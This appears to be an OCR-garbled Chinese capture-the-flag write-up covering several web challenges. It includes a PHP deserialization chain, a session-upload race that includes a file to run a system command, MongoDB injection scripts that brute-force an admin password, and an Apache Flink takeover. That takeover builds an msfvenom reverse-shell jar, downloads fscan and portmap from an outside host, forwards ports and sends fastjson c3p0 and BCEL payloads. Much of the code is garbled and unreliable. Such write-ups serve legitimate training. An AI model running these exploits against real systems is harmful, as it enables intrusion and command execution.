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catch (\Exception ) {
throw new \RuntimeException('Unable to seek stream '
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<?php

namespace Codeception\Extension{
use Faker\DefaultGenerator;

use GuzzleHttp\Psr7\AppendStream;

class RunProcess{

}

protected $output;

private $processes = [];

public function __ construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');

echo base64_encode(serialize(new RunProcess()));

namespace Faker{
class DefaultGenerator

protected $default;

public function __construct($default = null)

{

}
}
}

$this->default = $default;

namespace GuzzleHttp\Psr7{

use Faker\DefaultGenerator;

final class AppendStream{

}

private $streams = [];

private $seekable = true;

public function __ construct(){
$this->streams[]=new CachingStream();

final class CachingStream{

}

private $remoteStream;

public function __ construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();

final class PumpStream{

private $source;

private $size=-10;

private $buffer;

public function _ construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize(%$a);

$this->source=$b;
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i1 L Bl /etc/apache2/apache2.conf. FA1A] LAE

<Directory "/var/www/html/admin">

Options +Indexes

+FollowSymLinks +ExecCGI

deny from all
Allow from 127.0.0.1

</Directory>
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@ include123 php 2021-08-20 09:43 743

Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80
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<?php
$u=$_GET['u'];
$pattern = "\/\*¥|\*¥|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";

$pattern .= "|file_put_content|file_get content|fwrite|curl|system|eval|assert";

$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell _exec|proc_open|proc_get_ status|popen|ini
$pattern .="| |openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.ph
$pattern .="|file|dict|gopher";

/IBTRT, RFE%
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "MMBEEEZRF";
exit(0);
¥
¥
include($u);
show_source(__FILE_ );
?>
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http://127.0.0.1/admin

import requests
import re
sessid = 'Qftm’

def READ():
session = requests.session()
url = ""
check2_url = url + "/check2.php"
preview_url = url + "/preview.php"
burp@_cookies = {"PHPSESSID": "Qftm"}
burp@_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
burp@_data = {
"urll": f"http://127.0.0.1/admin/includel23.php?u=/tmp/sess_{sessid}#<?php system('/getfl?g.sh');?>
session.post(check2_url, headers=burp@_headers,
cookies=burp®_cookies, data=burpe_data)
session.get(url, headers=burp@_headers,
cookies=burp@_cookies)
res = session.get(preview_url, headers=burp@_headers,
cookies=burp@_cookies)
print(re.search("flag\{.*?\}", res.text).group())
READ()
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import io
import requests
import threading
sess_id = 'Atao'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 128)
session.post(url="http://eci-2ze7cuv@76c4risfré6z3.cloudecil.ichunqiu.com’,
data={"PHP_SESSION_UPLOAD_PROGRESS': 'aaaaasdasdasd<?php phpinfo();file_put_contents("
files={"file': ('atao.txt',f)},
cookies={"'PHPSESSID': sess_id}

)

__main__":

if _ name__ ==
event = threading.Event()
session = requests.session()
for i in range(1,80):
threading.Thread(target=write,args=(session,)).start()
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http://127.0.0.1/admin/finclude123 php?u=/tmp/sess Atauiﬁﬁverls:{):";upload_ progress_aaaaasdasdasd

System Linux engine-1 4,19.24-7.25.al7 x86_64 #1 SMP Mon Mar 15 11:48:21 CST 2021 x86_64
Build Date Jul 30 256
Configure Command meb\lld =x86_64-linux-gnu’ '--with-config-file-path=/ust/local/etc/php’ '--with-config-fi

-dir=/usr/local/etc/php/cont.d’ ble-option-checki ith-
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session— R H{RFHZE

Linux:

/var/1lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Windows:
C:\WINDOWS\Temp
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router.get('/bucket’, async ( [
onst user = await User.findByPk( - . ):

[a-fB-9]{32}\.055-cn-be .ichungiul.com\/%/.exec(user. 1)) {

ni{ : "Sorry but our remote oss server is under maintenance"

new Crawler({
: "Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.8.443
: "https://www.ichungiu.com/"',

ETE

page.goto(user.

nst html = page.
t headers = page.
nst cookles = page.

1)

» I

: "Error visiting your bucket. ' })

CSDN @/)VESE2H

aw Promise((resolve, rejec
this.crawler
t resource = this.crawler.resources.

? this.crawler.resources.filter(
= resource.response.
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router.post(‘/profile’, async (

s
await User.findByf
== "string" typeof (

ender("user’, { : "Parameters error or blank." });

"Invalid bucket url.” });

1.

1):
const token = crypto.randomBytes(32).toString(
= token;
wait Token.create({
awalt Token.up

-

1
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st result await Token.findOne(

)3

: "Successfully update your bucket from personal bucket!™ }
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router.post('/profile’,

: "Invalid bucket url.™ });

- t .
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web4 PackageManager2021

E . sqiEA
EAEAH THL, HiHEERE, RUE/QuthBHEZSE, SHSEE#sqi#ITEN,

is.username == "admin" && hex_md5(this.p

this.username == "admin" &%
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e10adc3949ba59abbe56e057f20f883e" || (()=>{throw Error(this.password)})() == "admin

Pz 55 M payload
this.username == "admin" && hex_md5(this.password) ==" el@adc3949ba59abbe56e057f20f883e" || (()=>{throw
Error(this.password)})() == "admin "
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Pretty Raw Actions

PackageManager 2021

Get granted with your token

chn

No matching results

CSDN @/ [EZ0
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Bl 1 ] DA #4) 38 T T ) payloadidt /7 bool B &

payload1

001355689f5b7cb21e2a34346d9c55cd\" | | (this.username==\"admin\"&&this.password[{}]==\"
{}\")| | this.username==\"123

P25 ipayload1

this.username == "admin" && hex_md5(this.password) ==" @0f355689f5b7cb21e2a34346d9c55cd\" | |
(this.username==\"admin\"8&&this.password[{}]==\"{}\")||this.username==\"123"

PR AA :



import requests

# bl@#$d5dh47jyfz#098crw*w
flag = ""

for i in range(0,50):

for

j in range(32,127):
burp@_url = "http://47.104.108.80:8888/auth"
burp@_cookies = {"session": "s%3Adq6vnQaD6PED4EhGg1tTvmpLalFpJIruUO.ATo3wP4XqidqLO@TbwAchNH410XxUXFFJjF
burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 F
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlenc
"Origin": "http://47.104.108.80:8888", "Connection": "close",
"Referer": "http://47.104.108.80:8888/auth", "Upgrade-Insecure-Requests": "1"}
burp@_data = {"_csrf": "otezaj5Q-ZVimOBu-Aiw82r0f_hKkqlkbrvE",
"token": "@0f355689f5b7cb21e2a34346d9c55cd\" || (this.username==\"admin\"&&this.passwor
res = requests.post(burp®_url, headers=burp®_headers, cookies=burp®_cookies, data=burp@_data)
print str(i)+":"+chr(j)
if "No matching results" in res.text:
flag += chr(j)
print flag
break
if j == 126:
exit(0)

B FH T [ fipayload

payload2

15f65b0dd2ad4ccd5862e588bc7c5d42b" || (this.username == "admin" && this.password.charCodeAt({}) > {}) &&
mqvomg

T payload2 Bt F BR 2R RE -

charCodeAt() 751 AT & [B] 3 52 A7 B i F 7 B Unicode Zf%. XANREE R 0 - 65535 2 8] K% .

Pt 5 Mpayload2:
this.username == "admin" && hex_md5(this.password) ==" 15f65b@dd2ad4ccd5862e588bc7c5d42b" ||
(this.username == "admin" && this.password.charCodeAt({}) > {}) && "1"=="1 "

PRSI A



import requests
target = 'http://47.104.108.80:8888/auth’

flag = '

session =
D@

csrf_token =
burp@_cookies = {"session": session}

# 4y
for i in range(©, 3000):
min_value = 33
max_value = 127
mid_value = (min_value + max_value) // 2
while min_value < max_value:
payload = '15f65b@dd2adccd5862e588bc7c5d42b" || (this.username == "admin" && this.password.charCode
str(i), str(mid_value))
post_payload = '{}'.format(payload)
s = requests.session()
res = s.post(url=target, data={
"token": post_payload, " _csrf": csrf_token}, cookies=burp@_cookies, allow_redirects=Fa
# print(res.text)
if res.status_code == 302:
min_value = mid_value + 1
else:
max_value = mid_value
mid_value = (min_value + max_value) // 2
if chr(mid_value) == "":
break
flag += chr(mid_value)

print(flag)
payload3
6991d030f3920693a1830473b63239f012312" || this.isAdmin==true && password[@]="R" "1"=="1
Pt /5 payload3
this.username == "admin" && hex_md5(this.password) =="6991d030f39a0693a1830473b63239f012312" ||

this.isAdmin==true && password[@]="R" "1"=="1 "

PRSI A



import requests
chrs = "0123456789flagbcdeghikmnopqgrstuvwxyzFLAGBCDEGHIKMNOPQRSTUVIWXYZ"
£z mo
# bd5d47f098c
# index = [2,3,4,5,8,9,11,12,14,15,16,21]
# for i in range(11,12):
for i in range(22,23):
# for j in range(len(chrs)):
for j in range(28,128):
burp@_url = "http://47.104.108.80:8888/auth"
burp@_cookies = {"session": "s%3A_fNGqehzTkNGptNZ1l-ytIIQA8clDA IV.itQ8NhWPGWa3aKofrW%2B%2Bf82b%2F1c
burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML
burp@_data = {"_csrf": "NtvT4yNv-2mwIMpCMImlLIFolVk3UnRped4@I", "token": "6991d030f39a0693a1830473b6
res = requests.post(burp®_url, headers=burp®_headers, cookies=burp®_cookies, data=burp@_data)
# if "No matching results" not in res.text:
# print(res.text)
# input()
# print(res.status_code,len(res.text))
if len(res.text) == 2290:
f += chr(j)
print(i,f)
continue

payload4

cf87efedc36al2aec113cd7982043573\" | | (this.username==\"admin\"&&this.password[{}]==\"{}\")|[\"

P2 5 i payload4

this.username == "admin" && hex_md5(this.password) ==" cf87efe@c36al2aec113cd7982043573\" ]|
(this.username==\"admin\"&&this.password[{}]==\"{}\")||\" "

PRSI A

# -*- coding: utf-8 -*

# /usr/bin/python3

# @Author:Firebasky

import requests

passwd = ""

for i in range(0,50):

for j in range(32,127):

burp@_url = "http://47.104.108.80:8888/auth"
burp@_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe@wEbmm2NSA%2B
burp@_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://
burp@_data = {"_csrf": "kATaxQjv-UkabHw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe@c36al2aec113cd7982
res=requests.post(burp®_url, headers=burp@_headers, cookies=burp®_cookies, data=burp®_data,allow_re

if res.status_code == 302:
passwd += chr(j)
print(passwd)
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% ri: Apache Flink £ & Jarfd b 1& S8R4TI, fastjsonx )75k
% F Apache Flinki i
RAJRFT A%

Apache Flink {3 Jar 8 &8 RCE JRiAZ I - &1F (zhihu.com)

B2 i 4= 2 Apache Flink 1.9.1
B S8 F msfA: iRjars

msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar

2R )5 e B msf il W

use exploit/multi/handler

set payload java/shell/reverse_tcp
set LHOST 127.0.0.1

set LPORT 8087

show options

run

SR J5 7ESubmit New Jobkk EfErec.jarscfd, sdisubmit, FiIh & 3shell
B 3 W _E IR R B A

GitHub - LandGrey/flink-unauth-rce: exploit Apache Flink Web Dashboard unauth rce on right way by python2 scripts

EHANBTAMN, REAT kHEMshell. BATHFEAMN.
A] LM F fscani# AT 3334,

https://github.com/shadow1ng/fscan

Lk


https://zhuanlan.zhihu.com/p/124948581
https://github.com/LandGrey/flink-unauth-rce
https://github.com/shadow1ng/fscan

HAN/tmpEHZFE, FTHRIE

curl http://81.70.105.149/fscan_amd64 >> fscan_amd64
“fscantlfR

chmod 777 fscan_amd64

WATEH

./fscan_amd64 -h 10.10.1.1/24

W] U F nmap$
KILAM 10.10.1.11 #£8080%s H 77 7E Shiro SprintBootik %
R JEH Ui portmap T B # AT O K, R BIINBRS .

http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

e

T

curl http://81.70.105.149/portmap >> portmap

L BUR

chmod 777 portmap

RIGFEVPSIBAT, 556734 0 ¥R K F18e05%t 0

./portmap -m 2 -pl 5567 -p2 8005

WIGTEEENL LZ1T, BRI K880k, M kg5 7 K Hik

./portmap -m 3 -hl 81.70.105.149 -pl 5567 -h2 10.10.1.11 -p2 8080

SR J5 A AT CAZE 2 W B 7 1) A 9 o £ 80803 AR 95 T o
A H %5 H T web.jar, AT Pl jd-gui TR R R &
R T AEF, fE/doLogin


http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
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% web jar 1

B fff Bo0T-187

= E classas
& ichunqiu =ah
=@ springshirs

B B cenfie

- {3 ShizaCenfig, class

H-f8 eemrrplloxs
B {:n Fast jsem
P B
! B fap indes clmex
- Myksalm class

% SpringShivespplicaties class
= spplisation prapecties
lib
% Fastiofoast=1 2 15 jas
addzess. baak=1 .1 jaz
antlr=2 7.7 jar
asrd 31 jar
bonscp-i. 7. 1 BELEASE jax
bshe=1. ths. jas
brtabudd—1 3 18 jax
wdpt=0. 9.5 1 jar
celib=2 2.7 jar
classmats-14 4 jar
commns—haanutile=1 8 2 jas
commens—eadec—]l 11 Jax
eommons—callectiens—3 2 1 jar
cormmna—lang—? 4 jar

commmns~laggizg1 1 1 jaz

dae. apz—1 4.4 jar

domd 32 1 1 jar

fantjuon—] 7 14 jav

puava-zid jar

hibernata—edpd-3 ¥ 14 Final jas
hibernate—commems—ametations—3. 0. 4. Fisal Jar
hibernate—zare=3 I 14 Final jar
hibernate—snt it yasoagss—5 3 L4 Final jar
hibeznate—validatec=6 0. 18 Final jax
istack-esmsans—rentise=2. 0. T, jax
Jacksen—annatatiens—2. 9. 10, jax
Jackzan—zare=1 § 10 jar
jackzon—databizf~2 9 10 L jaz
Jacksen—datat e jdkE-2. 8. 10, jax
Jacksen—datatyge—joe2il-2 9 10, jax

o jnckron-medu le—parnaesermapes— 9 19 Jar
e jandez—2 0.5 Pizal jas

.t ﬂ juilp. callactis=s=3 8. 0. jax
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{5 Logiafastralles. class

E.l'utjﬂu‘l’ut elags I3
4ib index. elass 2 Aik ShireCondig class B2
package 300T-INWF.classes.ichunglv.web,springshiro, controllers;

i

Tuih Wrealn elnms il

= import pre.spache,shirg, Sequritvlitils;

import org.spache.shiro.suthc, Authenticationfxcaption;

import prg.spache.shiro.suthc,AuthenticationTokan;

import ocrg.spache. shiro. suthe . UsernamePasswordlaoken;

import org.apache.shiro.susject.Subject;

import org.soringframework.wed.bind. annotation. Getdapping;
import org.soriasframework. web.bind. annotation. PostMapadng;
import pre.sordnefranenork. web.bind, snnotation. decuestMapoing;
import

@Restlontroller
@RequeastMapping({*/"})

EPost ".:l'-'Di 15{{'.|'I10L|;5;'Ln"}]

nane, String password) {
i\.l_hjxs_t suD:le=t p mu_m.n.us ExtSubiect();
try {
subfect.loalnf (AuthenticationTokenlnew UsernanePascwordToken (usernane,
Systen.ouk.println("success"”);
1 catch (AuthenticationExreption =) {
e.printStackTracel);
System.out.println( fail!*});

passwordy);

g pinz({"fadndn/hello™})

public String hellof) {
return "hello™;

4

@GetHaoping({"/Llogin"})
public String login(} {
return Uplease logint';
iy
¥

CSDN @/ V&[G

g aEik,

File Edit Mavigation Search Halp
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fon weh far B2

KT B FHKS M. admin/123456

B f# Bo0T-1F
= ff elassas
3 ichungiu wah
= B springshize
0 @ cemfig
- fuy ShirsCenfip clazs

- r.'. Fast ysenTese. olass
B g LoginComtroller. class
sy index clan

[

F--% SpringShizespplicatien class
| spplication pragereies
Lih

o FastInfoset-1 T 15 jac
addsess. bask=1 & 1. jax
mntle2. 7.7 Jax

aserd 3 1 jar

bonecp-0 7 1 BRLIASE jar
bah=2. 0b4. jax
byte-buddy—1 % 1E jar
odpl—0.9.5. 1
eglib—2.2 7 jar
classmate=1 & 8 jur
comwnshaanutils—l 8.2
comwns—eades=1 11 jar
comwns—sollectionz—2. 2. L. jar
commmnz-lang=1 4 jar
commng=lagging=1 1.1. jur
dag. apz—1 0.4 jax

dowd =2 1 1 jax

fantizan—] 7
puava-z03 jar
hibernata—edpd—3 ¥ 14 Final jaz
hibernate—commus—mmetatiens—. 0. 4. Fimal Jax
hibernate—care=3 I 14 Final jar
hibernate—snt it jasnnges—3. 3. 14 Final jax
hibernatevalidates=6 0. 18 Final jar
istack—eommns—rentine—2. 0. 7. jax
Jacksan—annatatiem=—2 & L0 jar

Jackson—care—7 ¥ 10 jar

jackasa-databind-2. 9. 10. 1. jux
Jaeksen-datatyge— jdkB-2 8. 10, jar
Jacksen—datatype—jsrdli-2 0. 10 jar

¢ Jacksan—madule—parmmerermanes—1 4 10 zar

Jxniles—2, 0.5, Fimal jur

e e B e s e R =

HIH[HH T R

Jax

% Jer

- B8 - 8-

(H R HTH TR

ianln rallasiiame=2 8 A daw

BRI T Fastjsonfikss, AidFHwaf,

i LoginCamtreller. class 2

E.Iutjsexﬂ'ut elass i3
ik index. class 22 b ShireConfie o lass &2
package B00T-INF.classes.ichinqlu.wed;

import prg.spache.shira.authe. ﬂuutnent:\cut_nn'lnk.en.
import prg.spache.shirg.authc.Simplefuthenticationinfo;
import porg.spache.shiro.authe.UnknownAccountException;
import prg.apache.shira.authz  AuthordzationInfo;
import h n. A rizin f

import pre.apache,shicg.sublect. PrincioalCollection;

public class MyRealm extends i
protected AuthorizationInfp dofetiuthorizaticalnfolPripcipalCollection principals) {

return null;

1

protected sutherticationinfs doGetsuthenticationInfofAuthenticationToken token) throuws

string = (5tringitoken.getPrincipal();
if
tnk Lon{ " HFPFFEI")S
return (ﬁu.jgn_{u.n_l..imlﬂfn]n:w icati (usefnane, "1234567, |getNama()
]
H
=
CSDIN @/]\E [E) =16
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e FastInfozet-1 21 15 jac
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commwns—cades—1 11 jar
commons—callections—3 2
commanz—lang-1 4 jar
commmns~laggisg-1 1 1 jaz
daw. apr=1 1 4 jar
dowtj=2. 1 1 jax
fant jran—] 1

1 jar

puara-z0d jar
hibernatsa—edpd—3 ¥ M. Final jax
hibernate—commams—mrmerations=3. 0 4 Fimal jar
[ hibernate—core=7 1 14 Final jar

je= hibsrnats—sntityasnager—3 3 L4 Final jar
hibernatevalidatec=6 0 18 Final jaz
istack-eomans—rentine2. 0. 7. jax
Jncksen—anmatatiem=—2 9 L0 jar

jackson—soze=2 ¥ 10. jax

Jnckuon=databind=1. 9. 10. 1. jaz
Juekson-datatvge— jdkB-2 8. 10, jas
Jacksen—datatypejse2li-2 8 10 jax
Jncksanmadu le—parmmerermames—2 9 10 jar
janduz-2. 0.5 Bimal jae

jaulp. callactisms=3 8. 0. jax

T [ T R EETH [ R TH R

o LoginCentrellox. elass 5% b index. elass 7% ok ShireCondig elass ©7
b Past jrenlent. clasa 57

package BOOT-INF.classes.ichunqlu.wed.springshiro.controllers;

import org.springframework.wed.bind. annotation. AeguestMapping;
import org.springframework.wed.bind.annotation.RestController;

@RestController

RequestMapplngl{™/"})

public class FastjsonTest {

12 public String[] blacklist = mew Strimg[] { “JdbcRowSetImpl”,

"TenplatesImpl™ };

= public boolean waf(String payload) {
1§ if {payload.contains("\\x"})
16 return trues;
1 if {payloso.contains("\\u"))
18 return true;
for (String key : this.blacklist)
1 if (payload.containsikey))
21 return Lrie;

bt return false;

FRequestHepping({"/ednin/test™ j}

= wblic String test({@A=ou=stdody ng jsan) {
1f (maf(json])
return "0h,you can't do that®;

L iF {ison.length() < 28008)
2l return "0h,¥od are Too short™;

Do T
return "test ower”;

CSDN @/)\&
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GitHub - depycode/fastjson-c3p0: fastjsonAs i B F . c3p0

1WiTc3p0 IR EFL cc payload , payload SERkfER /fastjson-

c3p@/blob/master/src/test/java/com/fastjson/vul/Test. java

POST /json HTTP/1.1
Host: 127.0.8.1:8999
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.8.3770.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/sign
Accept-Encoding: gzip, deflate

cmd: dir

Accept-Language: zh-CN,zh;q=0.9

Connection: close
Content-Type: application/json
Content-Length: 8925

{"e":{"@type":"java.lang.Class","val": "com.mchange.v2.c3p@.WrapperConnectionPoolDataSource™}, "f": {"@type": "com

— 1| 20 = A
Lo r'!""ll-:_ _—‘| i ! A

BB E LTI cookie , ilE/doLogin, {#Fadmin/123456% 3, 3kH{cookie.
MEEEEHexpfT. KISKEHTRIE, FEKTF20000
Frh R EH R 2w SE, &5 payload

POST /admin/test HTTP/1.1

Host: 81.70.105.149:8005

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/75.0.3770.142 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signe
d-exchange;v=b3

Accept-Encoding: gzip, deflate

cmd: cat /flag

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/json

Content-Length: 28963

Cookie: dOc1l3ba@4d29a2c666096db3206682c8=6f2998af-bl4a-4ebc-9002-

eead6873c544 .KgKkniEGW1GMEX6nqT4eQLtFMsXQ;
request_token=8c7wo037zB50kLDIpgngfuht93rbWgqTEjsLvirOwS0OsoYk8XE; pro_end=-1; 1ltd_end=-1;
serverType=apache; order=id%20desc; memSize=1838;
bt_user_info=%7B%22status¥%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%
22username%22%3A%22158****9824%22%7D%7D; rank=1ist; Path=/www/wwwroot/myweb; file recycle_status=true;
JSESSIONID=4A2824342782C0A7393AF8ACF226F26B

non

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p@.WrapperConnectionPoolDataSource"},"f":

{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString":"HexAsciiSeriali
zedMap : ACEDOOO5737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000
000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE
594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F
6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732
E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C
6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673
B5B0O0OB69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450

726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F616446616


https://github.com/depycode/fastjson-c3p0

3746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C7708
00000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632
E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472
616E736C6574496E6465785BO0OA5F62797465636F6465737400035B5B425B00065F636C61737371007E00084CO0O55F6E616D6
571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78
7000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787
000000DCFCAFEBABE0000003400CDOA0014005F090033006009003300610700620A0004005F09003300630A006400650A003300
660A000400670A000400680A0033006907006A0AB014006BOABB12006C08006DOBOOOCOO6EO80O6F0700700A001200710700720
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A4R12ARRAAARGANAANT7R20AA2(C70A5112AC2ARAAAANDRAAAAFIANAASI ACAAAACRIAAAIR?2ANA212AFRIAAT1AA?AACT7ANAAATRIANAI A



7002AB20002B6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B20003C6
007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C041220532C05B200021
20FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B60028B60029B6002AB20003B900210100
B6002BA700044DB12A1B0460B80008B100020047006600690017007A00E200E500170003003F0000006A001A000000250012002
600130028001A0029002(C002A0033002B0040002C0047002F0066003300690031006A0032006E0037007A003A007F003BOO8F00
3C0094003D009CO03FOOA1004000A6004200B3004400D7004500E2004700E5004600E6004800E7004BOOEE004D00400000002A0
004006A00040049004A0002007F0063004B004C0002000000EF004D00460000000000EFOO4EC04AF0001004700000022000B1200
336107005004FC002D07005109FFO03E0002070052010001070050000006000A005300480001003E000001580002000C0000008
42AB6000DAD2CB6002CAE2DBE360403360515051504A200652D1505323A06190604B6002D013A0719062AB6002E3A071907B600
ODB6002F9A000C19071BB80030A7002F1907C00031C000313A081908BE360903360A150A1509A200161908150A323A0B190B1BB
80030840A01A7FFE9A700053A08840501A7FF9A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000
005000050052001E00530024005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007
ABB65007B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E0056005500560006000000
8400570046000000000084004E004F00010005007F00580059000200470000002E0008FCO00507005AFEQ0OBO7005B0101FDOO3
107005C070052FE00110700310101F8001942070050F90001F800050001005D00000002005E7074000161707701007874000178
78737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C6
16E672E4E756D62657286AC951DOB94EO8B020000787000000000787871007E000D78; " },

"b": {
"a": "A*20000"
3
f&j #.payload

curl -v http://10.10.1.11:8080/admin\;/test -H "Content-Type:application/json" -X POST --data
"{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type":
"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader": {"@type":
"com.sun.org.apache.bcel.internal.util.ClassLoader"}, "driverClassName":
"$$BCEL$$$1$8bSISASATASASASASAMEI1$dbN$d3$40$Q$86$FTM$Oc$d81$0iSR$ce$QPceil$I$82$I$n$b5$MES81VEBSOLBSES
2%$e0n$b3$5d9$h$S$3br$ocswsb8$faysb8seeMA$5c$FO$AS3cSUbSect96RSISySedSceSce$3f3$ofggs7f$fesfasfesDs40$DS
b7M$Y8k$e2$i$ce$h$b8$Q$db$8b$3a$$$99%c8$e0$b2$8e$x$3a$ae2dW$95%a7$c2$a7$M$e9$caR$97Ak$FI$db$92$a1$60$x0
$be$9a$8ez2$d8%e2$bd$n$vESdb$X$7c$d8$e5$81$8a$Fd$pQILSFbjBIMEObBLE85$c1X$VSc3$psisa3pscosksfotjssews7es
bd$bd$f1$7c$s$e48T$beGisTINSc8$c5G$87$8F$TIMuSc4$60vEfcitm$ed$9a$8a$b1$bosYws $ae$b5$90$83%a9%a31%el1$g$
ae3$fe$k$9f$f4$cb5Q$de$95%a2%efWdf$8f$desotdej$86$bcsd3sbcsfbB5wE3e$acwslsd8$P7$HSa2$f5x$e6D$ed$a93p$3
e$d9$D$97$d6$db$fbv$d4$8e$9c$c8q$9dg$8d$91$F3$c6$7F$b2$f7y$97$60$F2Q%a3Z2$db$3e$3c$f7$ab58b5g$e1$Gn2sy st
c$a7q$L$b7$60$d2$9d$e3$e6$Y$e6$92$8c$n$f7$dcsfaFo$mESc80SFfiWdatocz$aldg$dlULNE86$Cc7N$a9$b2d$FF$93CEF3$
do$edL$S$F2N$e5D$b4$TSGEcasWNIWSbc$07conStITIwSus8cSvEY$sS$dcsk$b8$904$j$9d$5e$3a$feR$60$F1$cch$3fESSe
$9d$y$p$obY$fesk$b6$9f$84$2$dagb3$89$98F$9evieb0$BSa7QImk$60$5ee$b8$98$t0$a0$F8IN$aobsfasAdasbbs 0$5e$$
$1$m$bb$9f$e89%aa$cd$QPr$s$$sd2svie6$e6$SUSLED2$81y$0$FfdSFICTkSgFIESF25Wn$e9HSd9$3a$cehsUSusrMSzEfe$as
9f$da$ecsA$b3SCSASA"}}: "x","a":"20000%a"}"
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1ew sqlite3.Database('./database.db’,
) {

console. log(

console.log("Successfully Connected!");

S users;
CREATE TABLE IF NOT EXISTS users (
1d INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VNELPﬁH[lEb] NOT NULL,
password WARCHAR(255) NOT MULL
)s
INSERT INTO users (id, username, pas VALUES (1, "admin','e365655e813ce7fdbdbfaf27b418c8feb6dc9354dcdc@328Fa02bAea547659645" ) ;

DROP TABLE IF EXISTS files;

CREATE TABLE IF MOT EXISTS files (
username VNELPﬂHEZEb] NOT NULL,
filename  WARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL

INSERT INTO files (username, filename, checksum) VALUES {'superuser','flag','beSald4aBeS584a66973F6938338bA662c"); )}

console.log('Init Finished!"') CSDN @;J\gla:—;‘-_l'rﬂ

1

B4R B RS AT &, BRARadmin/l 1, (B Rflag3CfFZEsuperuserf 2, A% EiBILSSRFIE
superuserik 5 F fflag G i Bladminik P o, AR5 BRI BT .

SHTIERS R L, fEadminig il T, W LL#EcontentZ2 4, WERBAVERERMNMAENSH. KXEXH
BAT T —RIHIM, ERBATATCAE AT S

: "Forbidden word '

chtml>

<meta charset="utf8"»

ctitlesCreate your own pdfse</titles
<body >

<h3>% }</h3>

fbody >

</html>

onst filename = ~${uuid()}.

pdf.create( P |
"format™: “"Letter”,
“"orientation”: "portrait”,
"border™: "8",
“"type": "pdf",
"renderDalay™: 3ee8,
"+ime ". oo o Y
S s o CSDN @/MNE5[E==0f

e i | t{filename}",

'‘/api/files'. async (req. res. n [
